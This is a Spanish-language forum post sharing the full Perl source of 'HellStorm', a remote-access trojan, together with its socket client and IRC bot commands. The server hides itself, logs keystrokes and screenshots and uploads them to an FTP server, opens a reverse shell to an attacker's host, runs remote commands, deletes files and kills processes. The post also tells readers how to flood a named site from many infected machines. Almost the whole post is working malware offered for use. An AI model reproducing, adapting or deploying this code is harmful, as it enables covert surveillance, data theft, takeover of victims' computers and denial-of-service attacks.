Hola a todos.

Aca les traigo mi ultimo proyecto en perl , este se llama HellStorm es un
troyano completo en perl , completo en lo que abarca a mis necesidades ,
este troyano se maneja de dos formas con sockets o conectado a un canal irc
Para el uso de sockets traigo un cliente para usarlo y si quieren usarlo por
canal irc les doy los comandos.

[++] Opciones del troyano

[+] Navegador de archivos : borrar,renombrar
[+] Da informacion sobre la computadora
[+] Abrir y cerrar CD
[+] Ocultar y mostrar barra de inicio o iconos del escritorio
[+] Hacer hablar a la computadora para que diga lo que queramos
[+] Mandar mensajitos
[+] Consola de comandos
[+] Administracion de procesos
[+] ReverseShell
[+] Cambiar fondo de escritorio
[+] Mover mouse
[+] Cargar word para que escriba solo
[+] DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
[+] Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP


Codigo del servidor

Código: Seleccionar todo

#!usr/bin/perl
#Hell Storm Version 1.0
#(c) Doddy Hackman 2011

use Win32::OLE;
use Win32::OLE qw(in);
use Win32::Process;
use Win32;
use Win32::API;
use Win32::GuiTest qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
use Win32::Clipboard;
use threads;
use Net::FTP;
use Win32::File;
use Cwd;
use IO::Socket;
use Win32::Job;
use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);

#Escondemos la consola

if ($^O eq 'MSWin32') {
use Win32::Console; 
Win32::Console::Free();
}

#Datos para el servidor FTP con los datos del keylogger

my $host_ftp = "localhost";
my $user_ftp = "doddy";
my $pass_ftp = "123";

#Datos para el server IRC

my $host_irc = "localhost";
my $canal_irc = "#locos";
my $port_irc = "6667";
my $nick_irc = dameip();

#Options#######################################
#Comentar opciones no deseadas

my $comando4 = threads->new(\&conexion_directa);
my $comando5 = threads->new(\&keylogger);
my $comando6 = threads->new(\&ircnow);

$comando4->join();
$comando5->join();
$comando6->join();

###############################################

sub ircnow {

my $soquete = new IO::Socket::INET(
PeerAddr => $host_irc,
PeerPort => $port_irc,
Proto => "tcp"
);

print $soquete "NICK $nick_irc\r\n";
print $soquete "USER $nick_irc 1 1 1 1\r\n";
print $soquete "JOIN $canal_irc\r\n";

while (my $logar = <$soquete> ) {
print "\r\n";
chomp($logar);

if ($logar =~ /^PING(.*)$/i){
print $soquete "PONG $1\r\n";
}

if($logar=~/:$nick_irc help/g) {

my @commands = ("msgbox <>","getinfo","cmd <>","dir","cd <>","del <>","rename :<>:<>:",
"cwd","verlogs","word :<>:","crazymouse","cambiarfondo :<>:","opencd","closedcd",
"dosattack :<>:<>:<>:","speak :<>:","iniciochau","iniciovuelve","iconochau",
"iconovuelve","backshell :<>:<>:","procesos","cerrarproceso  :<>:<>:");

print $soquete "PRIVMSG $canal_irc : HellStorm (C) 2011 Doddy Hackman\r\n";
print $soquete "PRIVMSG $canal_irc : Commands : \r\n";
for(@commands) {
print $soquete "PRIVMSG $canal_irc : ".$_."\r\n";
}
}

if($logar=~/:$nick_irc msgbox (.*)/g) {
my $msg = $1;
chomp $msg;
cheats("mensaje",$msg);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc getinfo/g) {
my $re = getinfo();
if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
print $soquete "PRIVMSG $canal_irc : [Dominio] : $1\r\n";
print $soquete "PRIVMSG $canal_irc : [Chip] : $2\r\n";
print $soquete "PRIVMSG $canal_irc : [Version] : $3\r\n";
print $soquete "PRIVMSG $canal_irc : [Nombre] : $4\r\n";
print $soquete "PRIVMSG $canal_irc : [OS] : $5\r\n";	
}}

if ($logar=~/:$nick_irc cmd (.*)/) {
my $cmda = $1;
chomp $cmda;
my @re = cmd($cmda);
for(@re) {
print $soquete "PRIVMSG $canal_irc : $_\r\n";
}
}

if ($logar=~/:$nick_irc dir/) {
my @files = navegador("listar");
for(@files) {
if (-f $_)  {
print $soquete "PRIVMSG $canal_irc : [File] : ".$_."\r\n";
} else {
print $soquete "PRIVMSG $canal_irc : [Directory] : ".$_."\r\n";	
}}}

if ($logar=~/:$nick_irc cd (.*)/) {
my $di = $1;
chomp $di;
if (navegador("cd",$di)) {
print $soquete "PRIVMSG $canal_irc : [+] Directory Changed\r\n";
} else {
print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
}
}

if ($logar=~/:$nick_irc del (.*)/) {
my $file = $1;
chomp $file;
if (navegador("borrar",$1)) {
print $soquete "PRIVMSG $canal_irc : [+] File deleted\r\n";
} else {
print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
}}

if ($logar=~/:$nick_irc rename :(.*):(.*):/) {
my ($a,$b) = ($1,$2);
if (navegador("rename",$a,$b)) {
print $soquete "PRIVMSG $canal_irc : [+] Changed\r\n";
} else {
print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
}}

if ($logar=~/:$nick_irc cwd/) {
print $soquete "PRIVMSG $canal_irc : [+] Directory : ".getcwd()."\r\n";
}

if ($logar=~/:$nick_irc verlogs/) {
print $soquete "PRIVMSG $canal_irc : [+] LOgs\r\n"; 
my @word = openfilex("logs.txt");
for(@word) {
sleep 3;
print $soquete "PRIVMSG $canal_irc : ".$_."\r\n"; 
}}


if ($logar=~/:$nick_irc word :(.*):/ig) {
my $msg = $1;
cheats("word",$msg);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc crazymouse/ig) {
cheats("crazymouse");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc cambiarfondo :(.*):/ig) {
my $url  = $1;
chomp $url;
cheats("cambiarfondo",$url);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc opencd/ig) {
cheats("cd","1");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc closedcd/ig) {
cheats("cd","0");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/dosattack :(.*):(.*):(.*):/) {
my ($i,$p,$t) = ($1,$2,$3);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
dosattack($i,$p,$t);
}

if ($logar=~/:$nick_irc speak :(.*):/ig) {
my $t = $1;
chomp $t;
cheats("speak",$t);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc iniciochau/) {
cheats("inicio","1");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc iniciovuelve/) {
cheats("inicio","0");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc iconochau/) {
cheats("iconos","1");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc iconovuelve/) {
cheats("iconos","0");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc backshell :(.*):(.*):/ig) {
backshell($1,$2);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}

if ($logar=~/:$nick_irc procesos/) {

my %vida = adminprocess("listar");
print $soquete "PRIVMSG $canal_irc : [+] Process Found : ".int(keys %vida)."\r\n";
for my $data(keys %vida) {
print $soquete "PRIVMSG $canal_irc : [+] Process : ".$data." [+] PID : ".$vida{$data}."\r\n";
}
}

if ($logar=~/:$nick_irc cerrarproceso :(.*):(.*):/) {
my ($b,$a) = ($1,$2);
if (adminprocess("cerrar",$a,$b)) {
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}}

	
	
}
}

sub conexion_directa {

my $sock = IO::Socket::INET->new(LocalPort => 666,
Listen => 10,
Proto => 'tcp',
Reuse => 1); 

while (my $con = $sock->accept){
$resultado = <$con>;

if ($resultado=~/msgbox (.*)/ig) {
my $msg = $1;
cheats("mensaje",$msg);
}

if ($resultado=~/infor/ig) {
print $con getinfo();
}

if ($resultado=~/word :(.*):/ig) {
my $msg = $1;
cheats("word",$msg);
}

if ($resultado=~/crazymouse/ig) {
cheats("crazymouse");
}

if ($resultado=~/cambiarfondo (.*)/ig) {
my $url  = $1;
cheats("cambiarfondo",$url);
}

if ($resultado=~/opencd/ig) {
cheats("cd","1");
}

if ($resultado=~/closedcd/ig) {
cheats("cd","0");
}

if ($resultado=~/dosattack :(.*):(.*):(.*):/) {
my ($i,$p,$t) = ($1,$2,$3);
dosattack($i,$p,$t);
}

if ($resultado=~/speak :(.*):/ig) {
my $t = $1;
cheats("speak",$t);
}

if ($resultado=~/iniciochau/) {
cheats("inicio","1");
}
if ($resultado=~/iniciovuelve/) {
cheats("inicio","0");
}

if ($resultado=~/iconochau/) {
cheats("iconos","1");
}
if ($resultado=~/iconovuelve/) {
cheats("iconos","0");
}

if ($resultado=~/backshell :(.*):(.*):/ig) {
backshell($1,$2);
}

if ($resultado=~/comando :(.*):/ig) {
my $cmd = $1;
my @re = cmd($cmd);
print $con @re;
}

if ($resultado=~/mostrarpro/) {

my %vida = adminprocess("listar");

for my $data(keys %vida) {
print $con "PROXEC".$data."PROXEC\r\n";
print $con "PIDX".$vida{$data}."PIDX\r\n";
}

}

if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/) {
my ($b,$a) = ($1,$2);
if (adminprocess("cerrar",$a,$b)) {
print $con "ok";
}
}

if ($resultado=~/chdirnow K0BRA(.*)K0BRA/) { #ok return ok
my $di = $1;
if (navegador("cd",$di)) {
print $con "ok";
}
}
if ($resultado=~/borrarfile K0BRA(.*)K0BRA/) {
if (navegador("borrar",$1)) {
print $con "ok";
}
}
if ($resultado=~/borrardir K0BRA(.*)K0BRA/) {
if (navegador("borrar",$1)) {
print $con "ok";
}
}
if ($resultado=~/rename :(.*):(.*):/) {
my ($a,$b) = ($1,$2);
if (navegador("rename",$a,$b)) {
print $con "ok";
}
}

if ($resultado=~/getcwd/) {
print $con getcwd();
}

if ($resultado=~/verlogs/) {
print $con openfile("logs.txt"); 
}

if ($resultado=~/dirnow ACATOY(.*)ACATOY/) {
my @files = navegador("listar");
for(@files) {
if (-f $_)  {
print $con "FILEX".$_."FILEX"."\r\n";
} else {
print $con "DIREX".$_."DIREX"."\r\n";
}}}}}


sub keylogger {

my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
my $tengo = 0;	

hideit($0,"hide");

my $comando1 = threads->new(\&capture_windows);
my $comando2 = threads->new(\&capture_keys);
my $comando3 = threads->new(\&capture_screen);

$comando1->join();
$comando2->join();
$comando3->join();


sub capture_windows {

while(1) {

my $win1 = GetForegroundWindow();         
my $win2 = GetForegroundWindow(); 

if($win1 != $win2){
my $nombre = GetWindowText($win1); 
chomp($nombre);
if ($nombre ne "") {
#print "\n\n[".$nombre."]\n\n";
savefile("logs.txt","\n\n[".$nombre."]\n\n");
}
}
}
return 1;
}
	
sub capture_keys {

while(1) {

my $test1;
my $test2;

for my $num(0x30..0x39) { #Numbers	

if (dame($num)) {
#print "number : ".chr($num)."\n";
savefile("logs.txt",chr($num));
}
}

if (dame(0x14)) {
$test1 = 1;
$tengo++;
}

for my $num(0x41..0x5A) {	#Words

if (dame($num)) {

if (dame(0x20)) {
savefile("logs.txt"," ");
}

if (dame(0x32)) {
savefile("logs.txt","\n[enter]\n\n");
}

unless (verpar($tengo) eq 1) {
#print "MAYUSCULA : ".chr($num)."\n";
savefile("logs.txt",chr($num));
}

if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
#print "MAYUSCULA : ".chr($num)."\n";
$test2 = 1;
}

unless ($test1 eq 1 or $test2 eq 1) {
if ($num >= 0x41) {
if ($num <= 0x5A) {
if (verpar($tengo) eq 1) {
#print "MINUSCULA : ".chr($num+32)."\n";
savefile("logs.txt",chr($num+32));
}
}
}
} 
}
}
}
return 1;
}

sub capture_screen {

$numero = 0;

while(1) {

sleep 120;

subirftp("logs.txt","logs.txt");

$numero++;

SendKeys("%{PRTSCR}"); 

my $a = Win32::Clipboard::GetBitmap();

open (FOTO,">".$numero.".bmp");
binmode(FOTO);
print FOTO $a;
close FOTO;

hideit($numero.".bmp","hide");
subirftp($numero.".bmp",$numero.".bmp");
}
}

sub dame {
return($come->Call(@_) & 1);
}

sub savefile {

open (SAVE,">>".$_[0]);
print SAVE $_[1];
close SAVE; 

hideit($_[0],"hide");

}

sub hideit {
if ($_[1] eq "show") {
Win32::File::SetAttributes($_[0],NORMAL);
}
elsif ($_[1] eq "hide") {
Win32::File::SetAttributes($_[0],HIDDEN);
}
else {
print "error\n";
}
}

sub subirftp {

if ($ser = Net::FTP->new($host_ftp)) {
if ($ser->login($user_ftp,$pass_ftp)) {
$ser->mkdir(getmyip());
$ser->binary();
if ($ser->put(getcwd()."/".$_[0],getmyip()."/".$_[1])) {
return true;}}
$ser->close;
}}

sub verpar { 
return ($_[0] % 2 == 0) ? "1" : "2";
}

sub getmyip {
my $get = gethostbyname("");
return inet_ntoa($get);
}

}
sub getinfo {
return ":".Win32::DomainName().":".Win32::GetChipName().":".Win32::GetOSVersion().":".
Win32::LoginName().":".Win32::GetOSName().":";
}


sub cheats {

my $as = new Win32::API('user32', 'FindWindow', 'PP', 'N');
my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');

if ($_[0] eq "cambiarfondo") {
my $file = $_[1];
my $as = new Win32::API("user32","SystemParametersInfo", [L,L,P,L],L);
$as->Call(20,0,$file,0);
}

if ($_[0] eq "speak") {
my $texta = $_[1];
my $hablax = Win32::OLE->new("SAPI.SpVoice");
$hablax->Speak($texta,0);
}

if ($_[0] eq "crazymouse") {
for my $number(1..666) {
MouseMoveAbsPix($number,$number);
} 
}

if ($_[0] eq "word") {
my $text = $_[1];
system("start winword.exe");
sleep 4;
SendKeys($text); 
}

if ($_[0] eq "cd") {

my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
my $rta = ' ' x 127;  
if ($_[1] eq "1") {
$ventana->Call('set CDAudio door open', $rta, 127, 0);
} else {
$ventana->Call('set CDAudio door closed', $rta, 127, 0);
}
}

if ($_[0] eq "inicio") {

if ($_[1] eq "1") {
$handlex = $as->Call("Shell_TrayWnd",0);
$b->Call($handlex,0);
} else {
$handlex = $as->Call("Shell_TrayWnd",0);
$b->Call($handlex,1);
}

}

if ($_[0] eq "iconos") {

if ($_[1] eq "1") {

$handle = $as->Call(0,"Program Manager");
$b->Call($handle,0);
} else {
$handle = $as->Call(0,"Program Manager");
$b->Call($handle,1);
}
}

if ($_[0] eq "mensaje") {
if ($_[1] ne "") {
my $msg = $_[1];
chomp $msg;
Win32::MsgBox($msg,0,"Mensaje de Dios");
}
}
}

sub backshell {

my ($ip,$port) = ($_[0],$_[1]);

$ip =~s/(\s)+$//;
$port =~s/(\s)+$//;

conectar($ip,$port);
tipo();

sub conectar {
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}

sub tipo {
print "\n[*] Reverse Shell Starting...\n\n";
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux(); 
system("export TERM=xterm;exec sh -i");
}
}

sub infowin {
print "[+] Domain Name : ".Win32::DomainName()."\n";
print "[+] OS Version : ".Win32::GetOSName()."\n";
print "[+] Username : ".Win32::LoginName()."\n\n\n";
}

sub infolinux {
print "[+] System information\n\n";
system("uname -a");
print "\n\n";
}
}


sub cmd {

my $job = Win32::Job->new;
$job->spawn("cmd",qq{cmd /C $_[0]},{
no_window => "true",
stdout => "logx.txt",
stderr => "logx.txt"
}
);
$ok = $job->run("30");
open (F,"logx.txt");
@words = <F>;
close F;
unlink("logx.txt");
return @words;
}

sub adminprocess {

if ($_[0] eq "listar") {
my %procesos;

my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
my $dos = $uno->ConnectServer("","root\\cimv2");

foreach my $pro (in $dos->InstancesOf("Win32_Process")){
$procesos{$pro->{Caption}} = $pro->{ProcessId};
}
return %procesos;
}

if ($_[0] eq "cerrar") {

my ($numb,$pid) = ($_[1],$_[2]);

if (Win32::Process::KillProcess($pid,$numb)) {
return true;
} else {
return false;
}
}
}

sub navegador {

my $dir = $_[1];

chomp $dir;

$dir =~s/(\s)+$//;

if ($_[0] eq "borrar") {
if (-f $_[1]) {
if (unlink(getcwd()."/".$_[1])) {
return true;
} else {
return false;
}
} else {
if (rmdir(getcwd()."/".$_[1])) {
return true;
} else {
return false;
}}}
if ($_[0] eq "cd") {
if (chdir $dir) {
return true;
} else {
return false;
}
}
if ($_[0] eq "rename") {
if (rename(getcwd()."/".$_[1],getcwd()."/".$_[2])) {
return true;
} else {
return false;
}}	
if ($_[0] eq "listar") { 
my @archivos = coleccionar(getcwd());
my @all;
for my $test(@archivos) {
push(@all,$test);
}
return @all;
}

sub coleccionar {
opendir DIR,$_[0];
my @archivos = readdir DIR;
close DIR;
return @archivos;
}
}

sub dosattack {
for(1..$_[2]) {
IO::Socket::INET->new(
PeerAddr => $_[0],
PeerPort => $_[1],
Proto => "tcp");
}
}

sub openfile {
my $r;
open (FILE,$_[0]);
@wor = <FILE>;
close FILE;
for(@wor) {
$r.= $_;
}
return $r;
}

sub openfilex {
my @wor;
open (FILE,$_[0]);
@wor = <FILE>;
close FILE;
return @wor;
}

sub encriptar {

my ($text,$op) = @_;

my @re;
my @va = split("",$text);

my %valor = ("1"=>"a","2"=>"b","3"=>"c","4"=>"d","5"=>"e","6"=>"f","7"=>"g",
"8"=>"h","9"=>"i","0"=>"j","."=>"k");

if ($op eq "encode") {
for my $letra(@va) {
for my $data(keys %valor) {
if ($data eq $letra) {
$letra=~s/$data/$valor{$data}/g;
push(@re,$letra);
}}}}
if ($op eq "decode") {
for my $letra(@va) {
for my $data(keys %valor) {
if ($valor{$data} eq $letra) {
$letra=~s/$valor{$data}/$data/g;
push(@re,$letra);
}}}}
return @re;
}


sub dameip {

my @wor = encriptar(getmyip(),"encode");

for(@wor) {
$resultado.= $_;
}
return $resultado;
}

# ¿ The End ? 
Cliente para uso de sockets

Código: Seleccionar todo

#!usr/bin/perl
#HellStorm 1.0 (C) Doddy Hackman 2011

use IO::Socket;
use Cwd;

&menu;

sub head {

system 'cls';

print "\n\n-- == HellStorm 1.0 (C) Doddy Hackman 2011 == --\n\n\n";

}

sub menu {

&head;

print "[Target] : ";
chomp(my $ip = <STDIN>);
 					


my $socket = new IO::Socket::INET( 
PeerAddr => $ip,
PeerPort => 666,
Proto => 'tcp',
Timeout  => 5
);

if ($socket) {
$socket->close;
&menuo($ip);
} else {
print "\n\n[-] Target no infectado\n";
<STDIN>;
&menu; 
}

}

sub menuo {

&head;

print "[$_[0]] : Servidor Activado\n\n";
print q(
1 : Informacion
2 : Navegador
3 : Abrir CD
4 : Cerrar CD
5 : Hablar
6 : Mensaje
7 : CMD
8 : Esconder barra de tareas
9 : Devolver barra de tareas
10 : Esconder iconos
11 : Devolver iconos
12 : Administrar procesos
13 : Reverse Shell
14 : Cambiar IP
15 : Cambiar Pantalla
16 : Escribir en Word
17 : Mouse Loko
18 : Ver logs keylogger
19 : Dos Attack 
20 : Salir


);
print "[Opcion] : ";
chomp(my $opcion = <STDIN>);


if ($opcion eq 1) {
print "\n\n[+] Informacion\n\n";
$re = daryrecibir($_[0],"infor");
if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
print "[Dominio] : $1\n";
print "[Chip] : $2\n";	
print "[Version] : $3\n";	
print "[Nombre] : $4\n";	
print "[OS] : $5\n";
<stdin>;
} 
&menuo($_[0]);
} 
elsif ($opcion eq 2) {

menu1:
print "\n\n[+] Navegacion de archivos\n\n";
$cwd = daryrecibir($_[0],"getcwd"."\r\n");
show($_[0],"/");
&menu2;

sub menu2 {
print "\n\n[Opciones]\n\n";
print "1 - Cambiar directorio\n";
print "2 - Renombrar\n";
print "3 - Borrar archivo\n";
print "4 - Borrar directorio\n";
print "5 - Volver al menu inicial\n\n";
print "[Opcion] : ";
chomp(my $op = <stdin>);

if ($op eq 1) {
print "\n\n[+] Directorio : ";
chomp (my $dir=<stdin>);
$ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
if ($ver=~/ok/ig) {
print "\n\n[+] Directory changed\n\n";
} else {
print "\n\n[-] Error\n\n";
<stdin>;
}
show($_[0],$dir);
&menu2;
<stdin>;
}

elsif ($op eq 2) {
print "\n\n[Nombre] : ";
chomp(my $old = <stdin>);
print "\n\n[Nuevo nombre] : ";
chomp(my $new = <stdin>);
$re = daryrecibir($_[0],"rename :$old:$new:");
if ($re=~/ok/) {
print "\n\n[+] Archivo renombrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
}

elsif ($op eq 3) {
print "\n\n[Archivo a borrar] : ";
chomp(my $file = <stdin>);
$re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
if ($re=~/ok/) {
print "\n\n[+] Archivo Borrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
}

elsif ($op eq 4) {
print "\n\n[Directorio a borrar] : ";
chomp(my $file = <stdin>);
$re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
if ($re=~/ok/) {
print "\n\n[+] Directorio Borrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
}

elsif ($op eq 5) {
&menuo($_[0]);
}
else {
show($_[0],"/");
}
goto menu1;
}
}

elsif ($opcion eq 3) {
daryrecibir($_[0],"opencd");
&menuo($_[0]);
}

elsif ($opcion eq 4) {
daryrecibir($_[0],"closedcd");
&menuo($_[0]);
}

elsif ($opcion eq 5) {
print "\n\n[+] Decir : ";
chomp(my $talk = <stdin>);
$re = daryrecibir($_[0],"speak :$talk:");
<stdin>;
&menuo($_[0]);	
}

elsif ($opcion eq 6) {
print "\n[Mensaje] : ";
chomp (my $msg = <stdin>);
daryrecibir($_[0],"msgbox $msg");
<stdin>;
&menuo($_[0]);
} 
elsif ($opcion eq 7) {

menu:

my $cmd,$re;

print "\n\n>";

chomp(my $cmd= <stdin>);

if ($cmd=~/exit/ig) {
&menuo($_[0]);
}

$re = daryrecibir($_[0],"comando :$cmd:");
print "\n".$re;
goto menu;
&menuo($_[0]);
}
elsif ($opcion eq 8) {
daryrecibir($_[0],"iniciochau");
&menuo($_[0]);
}
elsif ($opcion eq 9) {
daryrecibir($_[0],"iniciovuelve");
&menuo($_[0]);
}
elsif ($opcion eq 10) {
daryrecibir($_[0],"iconochau");
&menuo($_[0]);
}
elsif ($opcion eq 11) {
daryrecibir($_[0],"iconovuelve");
&menuo($_[0]);
}

elsif ($opcion eq 12) {

&reload($_[0]);

sub reload {

my @pro;
my @pids;

my $sockex = new IO::Socket::INET( 
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout  => 5
);

print $sockex "mostrarpro"."\r\n";
$sockex->read($re,5000);
$sockex->close;

chomp $re;

print "\n\n[+] Procesos encontrados\n\n";

while ($re=~/PROXEC(.*?)PROXEC/ig) {
if ($1 ne "") {
push(@pro,$1);
}
}

while ($re=~/PIDX(.*?)PIDX/ig) {
if ($1 ne "") {
push(@pids,$1);
}
}

$cantidad = int(@pro);

for my $num(1..$cantidad) {
if ($pro[$num] ne "") {
print "\n[+] Proceso : ".$pro[$num]."\n";
print "[+] PIDS : ".$pids[$num]."\n"; 
}
}

print q(

[Opciones]


1 - Refrescar lista
2 - Cerrar procesos
3 - Volver al menu
 
);

print "\n[Opcion] :  ";
chomp(my $opc = <stdin>);

if ($opc=~/1/ig) {
&reload($_[0]);
}
elsif($opc=~/2/ig) {
print "\n[+] Write the name of the process : ";
chomp(my $numb = <stdin>);
print "\n[+] Write the PID of the process : ";
chomp(my $pid = <stdin>);
$re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
if ($re=~/ok/ig) {
print "\n\n[+] Proceso cerrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
&reload($_[0]);
}
elsif($opc=~/3/ig) {
&menuo($_[0]);
}
else {
&reload;
}
}
}

elsif ($opcion eq 13) {
print "\n\n[IP] : ";
chomp(my $ip = <stdin>);
print "\n\n[Port] : ";
chomp(my $port = <stdin>);
print "\n\n[+] Connected !!!\n\n";
$re = daryrecibir($_[0],"backshell :$ip:$port:");
}
elsif ($opcion eq 14) {
&menu;
}
elsif ($opcion eq 15) {
print "\n\n[+] Imagen BMP : ";
chomp(my $id = <stdin>);
daryrecibir($_[0],"cambiarfondo $id");
<stdin>;
&menuo($_[0]);
}	
elsif ($opcion eq 16) {
print "\n\n[+] Texto : ";
chomp(my $tx=<stdin>);
daryrecibir($_[0],"word :$tx:");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 17) {
daryrecibir($_[0],"crazymouse");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 18) {
print "\n\n[Logs]\n\n";
$re = daryrecibir($_[0],"verlogs");
print $re."\n\n";
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 19) {
print "\n\n[IP] : ";
chomp(my $ipx =<stdin>);
print "\n\n[Port] : ";
chomp(my $por = <stdin>);
print "\n\n[Count] : ";
chomp(my $count = <stdin>);
print "\n\n[+] Command Send !!!!\n\n";
daryrecibir($_[0],"dosattack :$ipx:$por:$count:");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 20) {
exit 1;
}
else {
&menuo;
}
}

sub daryrecibir {

my $sockex = new IO::Socket::INET( 
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout  => 5
);

print $sockex $_[1]."\r\n";
$sockex->read($re,5000);
$sockex->close;
return $re."\r";
}

sub show {

my $re = daryrecibir($_[0],"getcwd"."\r\n");
print "\n\n[+] Directorio Actual : $re\n\n";
$re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
print "\n\n[Directorios]\n\n";
while ($re1=~/DIREX(.*?)DIREX/ig) {
if ($1 ne "") {
print "[+] $1\n";
}
}
	
print "\n\n[Archivos]\n\n";

while ($re1=~/FILEX(.*?)FILEX/ig) {
if ($1 ne "") {
print "[+] $1\n";
}
}

}

#
# ¿ The End ? 
#
Para la parte de IRC el troyano funciona conectandose al canal indicado con su ip codificada
, para poder mandarle comandos al bot solo ponen el nombre y el comando , un ejemplo seria

Código: Seleccionar todo

<nombre> help
Y devuelve los comandos disponibles

Código: Seleccionar todo

msgbox <>
getinfo
cmd <>
dir
cd <>
del <>
rename :<>:<>:
cwd
verlogs
word :<>:
crazymouse
cambiarfondo :<>:
opencd
closedcd
dosattack :<>:<>:<>:
speak :<>:
iniciochau
iniciovuelve
iconochau
iconovuelve
backshell :<>:<>:
procesos
cerrarproceso  :<>:<>:
Si quieren hacer un ataque DDOS teniendo muchos remotos pueden hacer asi

Código: Seleccionar todo

dosattack www.google.com.ar 80 9999999999999
Com ven no hace falta el nombre del remoto porque de esa forma estariamos llamandolos a
todos xDDDDD

Cualquier sugerencia o mal concepto lo dicen ...........
Responder

Volver a “Fuentes”